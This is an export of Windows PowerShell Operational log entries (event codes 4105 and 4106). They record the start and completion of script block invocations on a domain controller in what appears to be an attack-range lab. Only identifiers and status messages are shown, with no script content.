RecordNumber=1477992
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477990
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477989
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477988
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477987
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477986
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477985
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477984
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477983
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477982
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477980
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477976
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477975
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477974
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477973
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477972
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477971
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477970
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477969
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477967
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477965
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477962
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477961
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477960
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477959
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477958
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477957
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477956
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477954
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477950
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477949
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477948
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477947
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477946
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477945
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477944
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477943
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477942
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477940
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477938
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
